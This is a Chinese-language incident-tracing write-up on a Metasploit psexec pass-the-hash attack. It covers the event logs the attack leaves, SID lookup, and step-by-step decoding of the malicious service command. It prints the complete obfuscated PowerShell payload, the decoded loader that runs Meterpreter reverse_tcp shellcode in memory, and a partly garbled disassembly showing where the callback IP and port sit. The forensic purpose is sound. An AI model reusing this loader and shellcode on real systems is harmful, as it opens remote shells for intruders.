Psexec溯源
本文目的为记述攻防模拟中Psexec执行后的溯源知识点。
1. 安全日志解析
使用Metasplot中的/exploit/windows/smb/psexec_psh
模块,payload为meterpreter/reverse_tcp
进行Pth攻击。
在靶机上的日志windows日志->系统日志->ID 7045
会有执行Psexec的记录

查看详细信息,能看到执行的账户信息——SID

用WMI查询域内的用户信息SID
C:\Users\xxx> wmic useraccount get sid,Caption
Caption SID
GOD\Administrator S-1-5-21-2952760202-1353902439-2381784089-500
GOD\krbtgt S-1-5-21-2952760202-1353902439-2381784089-502
GOD\liukaifeng01 S-1-5-21-2952760202-1353902439-2381784089-1000
对照SID
可知,是GOD\Administrator
执行的远程命令。
对此,其他安全研究员总结出了其他一些可能会产生的日志,在此作为记录。
PSEXESVC服务将会安装在远程系统中,此时将会生成Event 4697和Event 7045这两种事件日志。需要注意的是,Event 4697日志记录将有可能包含账号信息。
还有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。
可执行程序PSEXESVC.EXE将会被提取至Windows目录下,然后再执行远程操作。
https://kknews.cc/tech/qeqk8py.html
2. 解码powershell
再来继续追查执行的powershell代码。
服务名称: KyXUNYhzWKXprClF
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAAUHe14CA7VW+2/aSBD+uZHyP1gVErZCMA40aSJVujVvggnEQHgUnRZ7bS9Ze8Fe8+r1f78x4DRV07v2pLPyWO/OzM58882MnTiwBOWBtLimnvTl/OxdF4fYl+TMhtRyUmb7JzOUd+9gP+N0htsr6ZMkT9FyWeE+psHs7q4chyEJxPE9XycCRRHx54ySSFakv6Qnj4Tk8mG+IJaQvkiZP/N1xueYncR2ZWx5RLpEgZ2ctbmFE3fy5pJRIWc/f84q00ttlq+uYswiOWvuIkH8vM1YVpG+KsmF/d2SyFmDWiGPuCPyTzQoXuUHQYQd0gFra2IQ4XE7yioQBvyERMRhIB0DSiwcz+UsLLsht5BthySKsjlpmtiezmZ/yNPTxY9xIKhP8s1AkJAvTRKuqUWifAMHNiOPxJmBlilCGrgzRQGxNX8mciaIGctJv2NG7pBNCtuvKsmvlUCqK0IlB6l8K1CD2zEjR9XsG54m+VfgSTkA2H09Pzs/c1LCOA/XndeEgdW76WFNwD25yyN6kPskFXKSAfdgwcMdvGb6YUyU2Qu4UiY0y5Pcz/W1VBhE9x2/CFvTIaf2DFROKc2wtcFXycHPuVkhDg1IZRdgn1op/eS3cCYOI4cg86lYB7ySs6cDYlcIIy4WCXBJun9Qq/pUvOjqMWU2CZEFuYrAK0ij8r0zx1zI2WZgEB9AOr4D/zIOkJ6k0iei79Lbk3cQypYZjqKc1I2h6qycZBLMiJ2TUBDR0xGKBT8ss9/cNWImqIUjkZqbKS9Ani4s8yASYWxB4iD4vrkkFsUswSInNahN9J1J3fTi7JtIlDFjUAtgaQ2ZgJ0EAVMkdAjBx0PqlbxJRNNfMuKDzKH+awy7UO0nxh/4g11iZ39wMWX0kb4JGikMrxyEFJuMi5w0pKGAPpIgmxDpv93/qoMcPSmH5JQNOa2Sqb4TCbcz9npLbhNenqA5ABEKAKEWcl/HEbkuHduF/F59oGUEz7gZMMPSn6mGNlRrGvA7oMUmr9zY961FQw0rW89BzahpNLqVXqNRWrfMYUmY1aa47zaFUR0tFiZqPA7GYtJEjT4tPI9L+2WL7s02ssdb9Xqv7zcFfbtfuLYzrjiOe+OYj9qHGm0/lXt64Qq3K9W4/aRv9EIpqtJNo0cHvedWTczHQ4YHjuqOtFtMt+1wMdS4sW8iVPeK1r7lDOueYe/GDUoWaqFNe6iH0L31OBjU3aVbj5B6O1yV/QVaVcwuRuCdX259YHpvUNPRoKr38APvFi8qqjaxV9XaZIRbPrPrDVUbj5CNQrXvetrNgxckOGFXX+mJDGpPdjUVZLol1Chd0f1k1au7qAoyQ58jXKPPg4sR2Oz0QedpoNkciaA5UtWhq7rIMb0xRjpI6ytU03l597FrdNXh8MrT5s+aBz6T0fqj0UIXNaurquqFP4e/KrKM5TYY6Zubtdsw+T2+x8P1pKhq/U3dQSt0caFr+lw0qsXWGu7tq7eDT+8TBgGFMhy9YsXPOruBw8jDDNgCHTut0xoPa6cm3OU00ZDlw/R+JmFAGMw+mI4p1RFj3EqGwKFdwwA6joVkSg1gWbx6c6VIL4LKt9mQbt3dTcBLKJ4DufNtErjCyxW2xUIBWn1hWypAkL8eWpkvd/LRVi6ZFQDNi212sK0kJZWZs0H19v8F7VTJHvyz/w20b3v/cPpLQBZyScg/bH6/8VuQ/nbgT5gKkDShDzFynIZvx3/ix6sPhkNaIPvO6Uk++h5icdmBD4nzs78BLEJS2GAKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
代码有点绕,我们可以直接使用 Unit42安全团队的powershell自动反混淆工具
https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
python3 PowerShellProfiler.py -f ./test_power.txt -d
然后就可以直接看到要执行的核心powershell代码

当然我们也可以按照函数的本意,在这里 https://gchq.github.io/CyberChef 按照代码逻辑一步一步decode。
锻炼一下动手能力 :)
FromBase64 + Gunzip

于是我们得到核心powershell代码,如下:
function j6ih {
Param ($weF, $x_lM)
$fNVx2 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where - Object {
$_.GlobalAssemblyCache - And $_.Location.Split('\\')[ - 1].Equals('System.dll')
}
).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $fNVx2.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New - Object System.Runtime.InteropServices.HandleRef((New - Object IntPtr), ($fNVx2.GetMethod('GetModuleHandle')).Invoke($null, @($weF)))), $x_lM))
}
function fO6N {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $rSCZ, [Parameter(Position = 1)] [Type] $zNm3 = [Void]
)
$lvMoq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New - Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$lvMoq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $rSCZ).SetImplementationFlags('Runtime, Managed')
$lvMoq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $zNm3, $rSCZ).SetImplementationFlags('Runtime, Managed')
return $lvMoq.CreateType()
}
[Byte[]]$dvxe9 = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqDSPaAIAHmCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")
$oA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll VirtualAlloc), (fO6N @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $dvxe9.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($dvxe9, 0, $oA, $dvxe9.length)
$blUE9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll CreateThread), (fO6N @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $oA, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll WaitForSingleObject), (fO6N @([IntPtr], [Int32]))).Invoke($blUE9, 0xffffffff) | Out - Null
3. ShellCode
从kernel32.dll
和VirtualAlloc
容易判断出,变量$dvxe9
是Base64后的Shellcode。
用python
Base64解一下,变成\x00\xff\x12\x33
这样的十六进制格式,方便后续解码。
>>> from base64 import b64decode as d
>>> code = ""
>>> print("".join(list(map(lambda y:"\\x%x"%y,d(code)))))
存文件丢IDA或者直接放在线网站解shellcode
http://shell-storm.org/online/Online-Assembler-and-Disassembler/
得到汇编
0x0000000000000000: FC cld 82 00 00 00 call 0x88
0x0000000000000001: E8
0x0000000000000006: 60 pushal ebp, esp
0x0000000000000007: 89 E5 mov xor eax, eax
0x0000000000000009: 31 C0 mov edx, dword ptr fs:[eax + 0x30]
0x000000000000000b: 64 8B 50 30 mov edx, dword ptr [edx + 0xc]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0x14]
0x0000000000000012: 8B 52 14 mov esi, dword ptr [edx + 0x28]
0x0000000000000015: 8B 72 28 4A 26 movzx ecx, word ptr [edx + 0x26]
0x0000000000000018: 0F B7 xor edi, edi
0x000000000000001c: 31 FF al, byte ptr [esi]
0x000000000000001e: AC lodsb cmp al, 0x61
0x000000000000001f: 3C 61 jl 0x25
0x0000000000000021: 7C 02 sub al, 0x20
0x0000000000000023: 2C 20 0D ror edi, 0xd
0x0000000000000025: C1 CF edi, eax
0x0000000000000028: 01 C7 add 0x1e
0x000000000000002a: E2 F2 loop push edx
0x000000000000002c: 52 push edi
0x000000000000002d: 57 mov edx, dword ptr [edx + 0x10]
0x000000000000002e: 8B 52 10 mov ecx, dword ptr [edx + 0x3c]
0x0000000000000031: 8B 4A 3C mov ecx, dword ptr [ecx + edx + 0x78]
0x0000000000000034: 8B 4C 11 78 48 jecxz 0x82
0x0000000000000038: E3 ecx, edx
0x000000000000003a: 01 D1 add push ecx
0x000000000000003c: 51 mov ebx, dword ptr [ecx + 0x20]
0x000000000000003d: 8B 59 20 ebx, edx
0x0000000000000040: 01 D3 add mov ecx, dword ptr [ecx + 0x18]
0x0000000000000042: 8B 49 18 3A jecxz 0x81
0x0000000000000045: E3 dec ecx
0x0000000000000047: 49 mov esi, dword ptr [ebx + ecx*4]
0x0000000000000048: 8B 34 8B esi, edx
0x000000000000004b: 01 D6 add xor edi, edi
0x000000000000004d: 31 FF al, byte ptr [esi]
0x000000000000004f: AC lodsb 0D ror edi, 0xd
0x0000000000000050: C1 CF edi, eax
0x0000000000000053: 01 C7 add al, ah
0x0000000000000055: 38 E0 cmp 0x4f
0x0000000000000057: 75 F6 jne edi, dword ptr [ebp - 8]
0x0000000000000059: 03 7D F8 add cmp edi, dword ptr [ebp + 0x24]
0x000000000000005c: 3B 7D 24 0x45
0x000000000000005f: 75 E4 jne pop eax
0x0000000000000061: 58 mov ebx, dword ptr [eax + 0x24]
0x0000000000000062: 8B 58 24 ebx, edx
0x0000000000000065: 01 D3 add mov cx, word ptr [ebx + ecx*2]
0x0000000000000067: 66 8B 0C 4B mov ebx, dword ptr [eax + 0x1c]
0x000000000000006b: 8B 58 1C ebx, edx
0x000000000000006e: 01 D3 add mov eax, dword ptr [ebx + ecx*4]
0x0000000000000070: 8B 04 8B eax, edx
0x0000000000000073: 01 D0 add mov dword ptr [esp + 0x24], eax
0x0000000000000075: 89 44 24 24 pop ebx
0x0000000000000079: 5B pop ebx
0x000000000000007a: 5B
0x000000000000007b: 61 popal pop ecx
0x000000000000007c: 59 pop edx
0x000000000000007d: 5A push ecx
0x000000000000007e: 51 eax
0x000000000000007f: FF E0 jmp pop edi
0x0000000000000081: 5F pop edi
0x0000000000000082: 5F pop edx
0x0000000000000083: 5A mov edx, dword ptr [edx]
0x0000000000000084: 8B 12 8D jmp 0x15
0x0000000000000086: EB pop ebp
0x0000000000000088: 5D push 0x3233
0x0000000000000089: 68 33 32 00 00 push 0x5f327377
0x000000000000008e: 68 77 73 32 5F push esp
0x0000000000000093: 54 push 0x726774c
0x0000000000000094: 68 4C 77 26 07 eax, ebp
0x0000000000000099: 89 E8 mov eax
0x000000000000009b: FF D0 call 90 01 00 00 mov eax, 0x190
0x000000000000009d: B8 esp, eax
0x00000000000000a2: 29 C4 sub push esp
0x00000000000000a4: 54 push eax
0x00000000000000a5: 50 push 0x6b8029
0x00000000000000a6: 68 29 80 6B 00 ebp
0x00000000000000ab: FF D5 call push 0xa
0x00000000000000ad: 6A 0A 34 8F push 0x8f34a8c0
0x00000000000000af: 68 C0 A8 push 0x601e0002
0x00000000000000b4: 68 02 00 1E 60 esi, esp
0x00000000000000b9: 89 E6 mov push eax
0x00000000000000bb: 50 push eax
0x00000000000000bc: 50 push eax
0x00000000000000bd: 50 push eax
0x00000000000000be: 50 inc eax
0x00000000000000bf: 40 push eax
0x00000000000000c0: 50 inc eax
0x00000000000000c1: 40 push eax
0x00000000000000c2: 50 0F DF E0 push 0xe0df0fea
0x00000000000000c3: 68 EA ebp
0x00000000000000c8: FF D5 call xchg eax, edi
0x00000000000000ca: 97 push 0x10
0x00000000000000cb: 6A 10 push esi
0x00000000000000cd: 56 push edi
0x00000000000000ce: 57 74 61 push 0x6174a599
0x00000000000000cf: 68 99 A5 ebp
0x00000000000000d4: FF D5 call eax, eax
0x00000000000000d6: 85 C0 test je 0xe4
0x00000000000000d8: 74 0A 4E 08 dec dword ptr [esi + 8]
0x00000000000000da: FF 0xcb
0x00000000000000dd: 75 EC jne 67 00 00 00 call 0x14b
0x00000000000000df: E8 push 0
0x00000000000000e4: 6A 00 push 4
0x00000000000000e6: 6A 04 push esi
0x00000000000000e8: 56 push edi
0x00000000000000e9: 57 5F push 0x5fc8d902
0x00000000000000ea: 68 02 D9 C8 ebp
0x00000000000000ef: FF D5 call 00 cmp eax, 0
0x00000000000000f1: 83 F8 jle 0x12c
0x00000000000000f4: 7E 36 mov esi, dword ptr [esi]
0x00000000000000f6: 8B 36 push 0x40
0x00000000000000f8: 6A 40 push 0x1000
0x00000000000000fa: 68 00 10 00 00 push esi
0x00000000000000ff: 56 push 0
0x0000000000000100: 6A 00 53 E5 push 0xe553a458
0x0000000000000102: 68 58 A4 ebp
0x0000000000000107: FF D5 call xchg eax, ebx
0x0000000000000109: 93 push ebx
0x000000000000010a: 53 push 0
0x000000000000010b: 6A 00 push esi
0x000000000000010d: 56 push ebx
0x000000000000010e: 53 push edi
0x000000000000010f: 57 5F push 0x5fc8d902
0x0000000000000110: 68 02 D9 C8 ebp
0x0000000000000115: FF D5 call 00 cmp eax, 0
0x0000000000000117: 83 F8 jge 0x144
0x000000000000011a: 7D 28 pop eax
0x000000000000011c: 58 push 0x4000
0x000000000000011d: 68 00 40 00 00 push 0
0x0000000000000122: 6A 00 push eax
0x0000000000000124: 50 push 0x300f2f0b
0x0000000000000125: 68 0B 2F 0F 30 ebp
0x000000000000012a: FF D5 call push edi
0x000000000000012c: 57 push 0x614d6e75
0x000000000000012d: 68 75 6E 4D 61 ebp
0x0000000000000132: FF D5 call pop esi
0x0000000000000134: 5E pop esi
0x0000000000000135: 5E 0C 24 dec dword ptr [esp]
0x0000000000000136: FF 0xaf
0x0000000000000139: 0F 85 70 FF FF FF jne 9B FF FF FF jmp 0xdf
0x000000000000013f: E9 ebx, eax
0x0000000000000144: 01 C3 add esi, eax
0x0000000000000146: 29 C6 sub 0x10b
0x0000000000000148: 75 C1 jne
0x000000000000014a: C3 ret 1D 2A 0A mov ebx, 0xa2a1de0
0x000000000000014b: BB E0 95 BD 9D push 0x9dbd95a6
0x0000000000000150: 68 A6 ebp
0x0000000000000155: FF D5 call cmp al, 6
0x0000000000000157: 3C 06 jl 0x165
0x0000000000000159: 7C 0A bl, 0xe0
0x000000000000015b: 80 FB E0 cmp jne 0x165
0x000000000000015e: 75 05 47 13 72 6F mov ebx, 0x6f721347
0x0000000000000160: BB push 0
0x0000000000000165: 6A 00 push ebx
0x0000000000000167: 53 ebp 0x0000000000000168: FF D5 call
显然,这是msf的生成的默认shellcode,其中在偏移0x000af
和0x000b4
处,分别为反弹的十六进制IP地址以及端口
push 0xa
0x00000000000000ad: 6A 0A 34 8F push 0x8f34a8c0
0x00000000000000af: 68 C0 A8 push 0x601e0002
0x00000000000000b4: 68 02 00 11 46 esi, esp
0x00000000000000b9: 89 E6 mov push eax
0x00000000000000bb: 50 push eax
0x00000000000000bc: 50 push eax
0x00000000000000bd: 50 push eax
0x00000000000000be: 50 inc eax
0x00000000000000bf: 40 push eax
0x00000000000000c0: 50 inc eax
0x00000000000000c1: 40 push eax
0x00000000000000c2: 50 0F DF E0 push 0xe0df0fea
0x00000000000000c3: 68 EA ebp 0x00000000000000c8: FF D5 call
偷懒直接在线转了 IP地址转换


唯一要注意的是参数是小端存储的
于是我们在溯源时可以按步骤提取,寻找上一个跳板机,说不定会有更大的收获呢。
4. 补充
4.1 CS的Psexec(bind_smb_listener)
另外,CS中的Psexec
和Psexec(psh)
的执行原理基本同上(使用的是bind_smb_listener
,如果使用其他listener
则数据通道部分会不同)
- 远程创建服务(随机服务名);
- 启动服务调用
%ComSpec%
(cmd.exe),运行powershell脚本,脚本会本地创建用于传输Stager的通道staus_xxx
以及后续数据传输管道msagent_xxx
; - 远程连接管道
staus_xxx
,传输Stager; - 后续数据通过传输管道
msagent_xxx
传输;